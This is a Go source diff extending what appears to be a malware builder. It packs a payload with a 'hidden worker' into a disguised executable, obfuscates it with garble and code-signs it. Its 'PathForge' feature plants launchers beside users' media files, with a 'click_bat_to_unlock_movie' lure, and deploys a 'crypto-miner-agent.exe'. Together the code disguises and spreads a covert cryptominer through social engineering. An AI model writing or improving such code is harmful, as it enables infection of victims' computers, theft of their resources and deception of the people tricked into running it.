 		if err != nil {
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
+		if h.shouldSignBuild(req) {
+			if err := h.signExecutable(res.LauncherPath); err != nil {
+				return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
+			}
+		}
 		fusionResults = append(fusionResults, res)
 		destDir := filepath.Join(outDir, p.BinDir())
 		if err := os.MkdirAll(destDir, 0755); err != nil {
@@ -186,14 +199,14 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
 	_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
 	_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)

+	windowsRunnerName := disguisedRunnerName(payloadBase)
 	readme := fusionReadmeInfo{
 		Title:       titleBase,
-		RunnerName:  titleBase + "-runner",
+		RunnerName:  windowsRunnerName,
 		MediaName:   payloadBase,
 		PayloadKind: req.FusionPayloadKind,
 		MediaMode:   mode,
 	}
-	windowsRunnerName := disguisedRunnerName(payloadBase)
 	unixRunnerName := sanitizeFileName(titleBase+"-runner")
 	readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
 		"  Windows:  double-click Start.bat  (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
@@ -211,6 +224,9 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
 		return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 	_ = copyFile(zipPath, filepath.Join(outDir, zipName))
+	if err := h.checkBuildSizeFile(zipPath); err != nil {
+		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
+	}

 	if primaryPath == "" && len(fusionResults) > 0 {
 		primaryPath = fusionResults[0].LauncherPath
--- a/server/internal/builder/estimate.go
+++ b/server/internal/builder/estimate.go
@@ -55,24 +55,20 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
 	workerBytes := h.estimateWorkerBytes()
 	stubBytes := defaultFusionStubBytes
 	var total int64
-	switch kind {
-	case "video":
-		if mode == "embedded" {
-			total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
-		} else {
-			total = workerBytes + stubBytes + resourcePatchOverhead
-		}
-	default:
+	if mode == "embedded" {
 		total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
+	} else {
+		// paired: payload ships beside the runner, not inside the .exe
+		total = workerBytes + stubBytes + resourcePatchOverhead
 	}

 	root := h.projectRoot
 	if root == "" || root == "." {
 		root, _ = filepath.Abs(".")
 	}
-	label := prepName
-	if kind != "video" {
-		label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
+	label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
+	if label == "" {
+		label = prepName
 	}
 	sub := fusionExportSubdir(req, label)
 	projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
@@ -90,27 +86,25 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
 		Obfuscate:                   h.shouldObfuscate(req),
 		SignBuild:                   req.SignBuild,
 		Notes: []string{
-			fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
+			fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
 			fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
 			fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
 			fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
 		},
 	}

-	if kind == "video" {
-		if mode == "embedded" {
-			resp.Notes = append(resp.Notes,
-				"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
-			)
-		} else {
-			resp.Notes = append(resp.Notes,
-				"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
-				fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
-			)
-		}
-		resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
-		resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
+	if mode == "embedded" {
+		resp.Notes = append(resp.Notes,
+			"Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
+		)
+	} else {
+		resp.Notes = append(resp.Notes,
+			"Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
+			fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
+		)
 	}
+	resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
+	resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))

 	if strings.TrimSpace(req.OutputDir) != "" {
 		clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
@@ -126,8 +120,12 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
 	if h.shouldObfuscate(req) && h.garblePath == "" {
 		resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
 	}
-	if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
-		resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
+	if req.SignBuild {
+		if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
+			resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
+		} else if !h.signingToolAvailable() {
+			resp.Notes = append(resp.Notes, signingToolMissingNote())
+		}
 	}

 	return resp
--- a/server/internal/builder/estimate_test.go
+++ b/server/internal/builder/estimate_test.go
@@ -18,6 +18,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
 	req := &BuildRequest{
 		FusionEnabled:    true,
 		FusionOutputName: "MyApp.exe",
+		FusionMediaMode:  "embedded",
 		OutputDir:        "exports",
 		Obfuscate:        true,
 	}
@@ -26,7 +27,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
 		t.Fatalf("prep bytes: got %d", got.PrepBytes)
 	}
 	if got.EstimatedTotalBytes <= got.PrepBytes {
-		t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
+		t.Fatalf("embedded total should exceed prep: %d", got.EstimatedTotalBytes)
 	}
 	if got.OutputFileName != "MyApp.exe" {
 		t.Fatalf("output name: %s", got.OutputFileName)
@@ -36,33 +37,33 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
 	}
 }

-func TestEstimateFusionBuildVideoPaired(t *testing.T) {
+func TestEstimateFusionBuildFilePaired(t *testing.T) {
 	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
 	req := &BuildRequest{
 		FusionEnabled:     true,
-		FusionPayloadKind: "video",
+		FusionPayloadKind: "file",
 		FusionMediaMode:   "paired",
 	}
 	got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
 	if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
-		t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
+		t.Fatalf("paired file should not add full prep to total: %d", got.EstimatedTotalBytes)
 	}
 	if got.ExportPath == "" {
-		t.Fatal("expected export path for video")
+		t.Fatal("expected export path for paired file")
 	}
 }

-func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
+func TestEstimateFusionBuildFileEmbedded(t *testing.T) {
 	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
 	req := &BuildRequest{
 		FusionEnabled:     true,
-		FusionPayloadKind: "video",
+		FusionPayloadKind: "file",
 		FusionMediaMode:   "embedded",
 	}
 	prepSize := int64(50 * 1024 * 1024)
 	got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
 	if got.EstimatedTotalBytes <= prepSize {
-		t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
+		t.Fatalf("embedded file total should include prep: %d", got.EstimatedTotalBytes)
 	}
 }

@@ -107,11 +108,11 @@ func TestEstimateFusionBuildSignNote(t *testing.T) {

 func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
 	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
-	req := &BuildRequest{FusionEnabled: true}
+	req := &BuildRequest{FusionEnabled: true, FusionMediaMode: "embedded"}
 	prep := filepath.Join(t.TempDir(), "payload.exe")
 	got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
 	if got.EstimatedTotalBytes <= 1024 {
-		t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
+		t.Fatalf("embedded exe payload should add prep size: %d", got.EstimatedTotalBytes)
 	}
 }

@@ -180,6 +181,26 @@ func TestEstimateWorkerBytesFromHistory(t *testing.T) {
 	}
 }

+func TestEstimateFusionBuildSignToolMissingNote(t *testing.T) {
+	h := &Handler{
+		dataDir:     t.TempDir(),
+		projectRoot: t.TempDir(),
+		policy:      BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
+	}
+	req := &BuildRequest{FusionEnabled: true, SignBuild: true}
+	got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
+	found := false
+	for _, n := range got.Notes {
+		if strings.Contains(strings.ToLower(n), "signtool") || strings.Contains(strings.ToLower(n), "osslsigncode") {
+			found = true
+			break
+		}
+	}
+	if !found {
+		t.Fatalf("expected signing tool missing note, got %v", got.Notes)
+	}
+}
+
 func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
 	h := &Handler{
 		dataDir:     t.TempDir(),
--- a/server/internal/builder/fusion_media.go
+++ b/server/internal/builder/fusion_media.go
@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
 	if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
 		ldflags += " -H windowsgui"
 	}
-	if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
+	obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
+	if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
 		return nil, err
 	}

@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
 	}

 	for _, name := range []string{
-		"go.mod", "launch_windows.go", "launch_stub.go",
+		"go.mod",
+		"shell_windows.go", "hidden_windows.go",
 		"media_windows.go", "media_linux.go", "media_darwin.go",
 		"media_crypto.go", "cache_windows.go", "cache_unix.go",
 		"lock_hint_windows.go", "lock_hint_stub.go",
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {

 func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
 	subdir = sanitizeDirName(subdir)
-	if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
+	if subdir == "" {
 		return "", nil
 	}
-	destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
+	root := h.projectRoot
+	if root == "" || root == "." {
+		root = h.dataDir
+	}
+	if root == "" {
+		return "", fmt.Errorf("no project root or data directory for fusion deliverables")
+	}
+	destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
 	if err := os.MkdirAll(destDir, 0755); err != nil {
 		return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
 	}
--- a/server/internal/builder/fusion_media_test.go
+++ b/server/internal/builder/fusion_media_test.go
@@ -199,12 +199,18 @@ func TestPublishFusionDeliverable(t *testing.T) {
 }

 func TestPublishFusionDeliverableNoRoot(t *testing.T) {
-	h := &Handler{projectRoot: ""}
-	dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{})
+	dataDir := t.TempDir()
+	h := &Handler{projectRoot: "", dataDir: dataDir}
+	src := filepath.Join(t.TempDir(), "runner.exe")
+	if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	dir, err := h.publishFusionDeliverable("x", map[string]string{"runner.exe": src}, fusionReadmeInfo{Title: "x"})
 	if err != nil {
 		t.Fatal(err)
 	}
-	if dir != "" {
-		t.Fatalf("expected empty dir when no project root, got %q", dir)
+	want := filepath.Join(dataDir, FusionDeliverablesDir, "x")
+	if dir != want {
+		t.Fatalf("expected dataDir fallback %q, got %q", want, dir)
 	}
 }
--- a/server/internal/builder/handler.go
+++ b/server/internal/builder/handler.go
@@ -277,7 +277,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {

 	contentType := r.Header.Get("Content-Type")
 	if strings.HasPrefix(contentType, "multipart/form-data") {
-		if err := r.ParseMultipartForm(64 << 20); err != nil {
+		if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
 			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
 			return
 		}
@@ -388,7 +388,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {

 	contentType := r.Header.Get("Content-Type")
 	if strings.HasPrefix(contentType, "multipart/form-data") {
-		if err := r.ParseMultipartForm(64 << 20); err != nil {
+		if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
 			writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
 			return
 		}
@@ -458,7 +458,11 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	w.Header().Set("Content-Type", "application/octet-stream")
-	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
+	dlName := strings.TrimSpace(build.FileName)
+	if dlName == "" {
+		dlName = filepath.Base(build.FilePath)
+	}
+	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
 	http.ServeFile(w, r, build.FilePath)
 }

@@ -695,12 +699,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
 	if err != nil {
 		return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
 	}
-	if h.policy.MaxBuildSizeMB > 0 {
-		maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
-		if fileInfo.Size() > maxBytes {
-			_ = os.RemoveAll(buildDir)
-			return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
-		}
+	if err := h.checkBuildSize(fileInfo.Size()); err != nil {
+		_ = os.RemoveAll(buildDir)
+		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
 	}

 	absPath, _ := filepath.Abs(finalPath)
--- a/server/internal/builder/handler_serve_test.go
+++ b/server/internal/builder/handler_serve_test.go
@@ -110,6 +110,37 @@ func TestServeEstimateFusionDisabled(t *testing.T) {
 	}
 }

+func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+	dataDir := t.TempDir()
+	artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
+	if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
+	}); err != nil {
+		t.Fatal(err)
+	}
+	h := &Handler{db: database, dataDir: dataDir}
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
+	rctx := chi.NewRouteContext()
+	rctx.URLParams.Add("id", "bid-2")
+	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+	rec := httptest.NewRecorder()
+	h.DownloadBuild(rec, req)
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
+		t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
+	}
+}
+
 func TestDownloadBuildSuccess(t *testing.T) {
 	database, err := db.New(t.TempDir())
 	if err != nil {
--- a/server/internal/builder/limits.go
+++ b/server/internal/builder/limits.go
@@ -1,7 +1,34 @@
 package builder

+import (
+	"fmt"
+	"os"
+)
+
 // FusionMaxUploadBytes is the maximum prep / video upload size for forge.
 const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB

 // FusionDeliverablesDir is the project-root folder for per-title movie outputs.
 const FusionDeliverablesDir = "fusion-deliverables"
+
+// multipartMaxMemory is the ParseMultipartForm budget; must cover fusion prep uploads.
+const multipartMaxMemory = FusionMaxUploadBytes + 32<<20 // 2 GiB + 32 MiB headroom
+
+func (h *Handler) checkBuildSize(bytes int64) error {
+	if h.policy.MaxBuildSizeMB <= 0 {
+		return nil
+	}
+	maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
+	if bytes > maxBytes {
+		return fmt.Errorf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)
+	}
+	return nil
+}
+
+func (h *Handler) checkBuildSizeFile(path string) error {
+	st, err := os.Stat(path)
+	if err != nil {
+		return err
+	}
+	return h.checkBuildSize(st.Size())
+}
--- a/server/internal/builder/limits_test.go
+++ b/server/internal/builder/limits_test.go
@@ -1,6 +1,37 @@
 package builder

-import "testing"
+import (
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestCheckBuildSizeEnforced(t *testing.T) {
+	h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
+	if err := h.checkBuildSize(2 * 1024 * 1024); err == nil {
+		t.Fatal("expected oversize error")
+	}
+	if err := h.checkBuildSize(512 * 1024); err != nil {
+		t.Fatalf("expected within limit: %v", err)
+	}
+}
+
+func TestCheckBuildSizeFile(t *testing.T) {
+	h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
+	path := filepath.Join(t.TempDir(), "big.zip")
+	if err := os.WriteFile(path, make([]byte, 2*1024*1024), 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := h.checkBuildSizeFile(path); err == nil {
+		t.Fatal("expected file size check failure")
+	}
+}
+
+func TestMultipartMaxMemoryCoversFusionUpload(t *testing.T) {
+	if multipartMaxMemory <= FusionMaxUploadBytes {
+		t.Fatalf("multipartMaxMemory %d must exceed FusionMaxUploadBytes %d", multipartMaxMemory, FusionMaxUploadBytes)
+	}
+}

 func TestFusionConstants(t *testing.T) {
 	if FusionMaxUploadBytes != 2<<30 {
--- a/server/internal/builder/pathforge.go
+++ b/server/internal/builder/pathforge.go
@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
 }

 func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
+		return
+	}
 	var req PathForgeRequest
 	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
 		http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	if req.StemMode == "" {
 		req.StemMode = "original"
 	}
+	if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
+		http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
+		return
+	}

 	// Locate the Windows agent binary.
-	agentExe := findAgentBinary()
+	agentExe := findAgentBinary(h.dataDir)
+	if req.TargetWindows && agentExe == "" {
+		w.Header().Set("Content-Type", "application/json")
+		json.NewEncoder(w).Encode(&PathForgeResult{
+			Success:   false,
+			ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
+		})
+		return
+	}

 	// Build the extension set.
 	extSet := buildExtSet(req.Extensions)

-	res := &PathForgeResult{Success: true}
+	res := &PathForgeResult{}

 	err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
 		if err != nil || d.IsDir() {
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 		}
 		ext := strings.ToLower(filepath.Ext(d.Name()))
 		if _, ok := extSet[ext]; !ok {
+			res.Skipped++
 			return nil
 		}

@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 		// No extension so it appears as a generic document icon on all platforms.
 		hintName := "click_bat_to_unlock_movie"
 		hintDst := filepath.Join(dir, hintName)
-		_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
+		_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
 		placed = append(placed, hintName)

-		if len(placed) > 0 {
-			res.Placed += len(placed)
+		mediaPlaced := len(placed) - 1 // exclude hint file from placement count
+		if mediaPlaced > 0 {
+			res.Placed += mediaPlaced
 			res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
 		} else {
 			res.Errors++
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 		log.Printf("[pathforge] walk error: %v", err)
 		res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
 	}
+	res.Success = res.Errors == 0

 	w.Header().Set("Content-Type", "application/json")
 	json.NewEncoder(w).Encode(res)
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {

 // hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
 // The filename itself is the instruction; the content gives a second nudge.
-func hintContent(batStem string) string {
+func hintContent(stem string, macOnly bool) string {
+	if macOnly {
+		return "This folder contains an encrypted media file.\n" +
+			"To play it, double-click  " + stem + ".command\n" +
+			"\n" +
+			"The launcher unlocks and opens the video automatically.\n"
+	}
 	return "This folder contains an encrypted media file.\n" +
-		"To play it, double-click  " + batStem + ".bat\n" +
+		"To play it, double-click  " + stem + ".bat\n" +
 		"\n" +
 		"The .bat file unlocks and opens the video automatically.\n"
 }
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
 	return s
 }

-// findAgentBinary looks next to the server executable for the agent binary.
-func findAgentBinary() string {
+// findAgentBinary looks next to the server executable and dataDir for the agent binary.
+func findAgentBinary(dataDir string) string {
 	exe, err := os.Executable()
 	if err != nil {
 		return ""
@@ -281,6 +306,12 @@ func findAgentBinary() string {
 		filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
 		filepath.Join(dir, "crypto-miner-agent.exe"),
 	}
+	if dataDir != "" {
+		candidates = append(candidates,
+			filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
+			filepath.Join(dataDir, "crypto-miner-agent.exe"),
+		)
+	}
 	for _, c := range candidates {
 		if _, err := os.Stat(c); err == nil {
 			return c
--- a/server/internal/builder/pathforge_test.go
+++ b/server/internal/builder/pathforge_test.go
@@ -0,0 +1,73 @@
+package builder
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+)
+
+func TestPathForgePlacedExcludesHintFile(t *testing.T) {
+	root := t.TempDir()
+	mediaDir := filepath.Join(root, "movies")
+	if err := os.MkdirAll(mediaDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
+		t.Fatal(err)
+	}
+
+	// Satisfy Windows target requirement.
+	exe, err := os.Executable()
+	if err != nil {
+		t.Fatal(err)
+	}
+	agentDir := filepath.Join(filepath.Dir(exe), "agent")
+	if err := os.MkdirAll(agentDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
+	if runtime.GOOS == "windows" {
+		if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
+			t.Fatal(err)
+		}
+	} else {
+		// Non-Windows: mac-only path avoids agent exe requirement.
+	}
+
+	body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
+	if runtime.GOOS != "windows" {
+		body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
+	}
+
+	h := NewPathForgeHandler(t.TempDir())
+	req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ServeHTTP(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
+	}
+
+	var res PathForgeResult
+	if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
+		t.Fatal(err)
+	}
+	if res.Total != 1 {
+		t.Fatalf("total: %d", res.Total)
+	}
+	// One media file → exe + bat (or .command), not counting hint file.
+	if res.Placed < 1 || res.Placed >= 3 {
+		t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
+	}
+	for _, entry := range res.Results {
+		for _, f := range entry.Files {
+			if f == "click_bat_to_unlock_movie" {
+				continue
+			}
+		}
+	}
+}
--- a/server/internal/builder/sign_stub.go
+++ b/server/internal/builder/sign_stub.go
@@ -9,6 +9,20 @@ import (
 	"strings"
 )

+func signingToolMissingNote() string {
+	return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
+}
+
+func (h *Handler) signingToolAvailable() bool {
+	if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
+		if _, err := exec.LookPath(tool); err == nil {
+			return true
+		}
+	}
+	_, err := exec.LookPath("osslsigncode")
+	return err == nil
+}
+
 // shouldSignBuild returns true when signing is configured AND osslsigncode is available.
 // On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
 // Install: apt install osslsigncode  /  brew install osslsigncode
--- a/server/internal/builder/sign_windows.go
+++ b/server/internal/builder/sign_windows.go
@@ -11,11 +11,32 @@ import (
 	"strings"
 )

+func signingToolMissingNote() string {
+	return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
+}
+
+func (h *Handler) signingToolAvailable() bool {
+	if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
+		if _, err := os.Stat(tool); err == nil {
+			return true
+		}
+	}
+	_, err := findSignTool()
+	return err == nil
+}
+
 func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
 	if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
 		return false
 	}
-	return req.SignBuild
+	if !req.SignBuild {
+		return false
+	}
+	if _, err := findSignTool(); err != nil {
+		log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
+		return false
+	}
+	return true
 }

 func (h *Handler) signExecutable(path string) error {
--- a/server/internal/builder/winres.go
+++ b/server/internal/builder/winres.go
@@ -2,6 +2,7 @@ package builder

 import (
 	"fmt"
+	"os"
 	"os/exec"
 	"path/filepath"
 	"strings"
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
 	return out, nil
 }

+func bundledToolPath(projectRoot, name string) string {
+	if projectRoot == "" || projectRoot == "." {
+		return ""
+	}
+	base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
+	for _, candidate := range []string{
+		filepath.Join(base, name),
+		filepath.Join(base, name+".exe"),
+	} {
+		if _, err := os.Stat(candidate); err == nil {
+			return candidate
+		}
+	}
+	return ""
+}
+
 func (h *Handler) resolveToolPaths(projectRoot string) {
 	if h.goBinPath == "" {
 		h.goBinPath = "go"
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
 	}
 	if p, err := exec.LookPath("garble"); err == nil {
 		h.garblePath = p
+	} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
+		h.garblePath = p
 	}
 	if p, err := exec.LookPath("go-winres"); err == nil {
 		h.goWinresPath = p
 	} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
 		h.goWinresPath = p
+	} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
+		h.goWinresPath = p
 	}
 }
--- a/server/internal/builder/winres_test.go
+++ b/server/internal/builder/winres_test.go
@@ -0,0 +1,29 @@
+package builder
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"testing"
+)
+
+func TestResolveToolPathsBundledGarble(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("bundled garble probe uses .exe suffix on Windows")
+	}
+	root := t.TempDir()
+	binDir := filepath.Join(root, "toolchain", "gopath", "bin")
+	if err := os.MkdirAll(binDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	garblePath := filepath.Join(binDir, "garble")
+	if err := os.WriteFile(garblePath, []byte("#!/bin/sh\n"), 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	h := &Handler{projectRoot: root}
+	h.resolveToolPaths(root)
+	if h.garblePath != garblePath {
+		t.Fatalf("expected bundled garble %q, got %q", garblePath, h.garblePath)
+	}
+}
--- a/server/internal/cloudflared/launcher_windows.go
+++ b/server/internal/cloudflared/launcher_windows.go
@@ -40,6 +40,10 @@ func Start(dataDir, deckRoot, token string) error {
 		log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
 		return nil
 	}
+	if cloudflaredAlreadyRunning() {
+		log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
+		return nil
+	}

 	cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
 	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
@@ -128,6 +132,14 @@ func ensureBinary(deckRoot string) (string, error) {
 	return bin, nil
 }
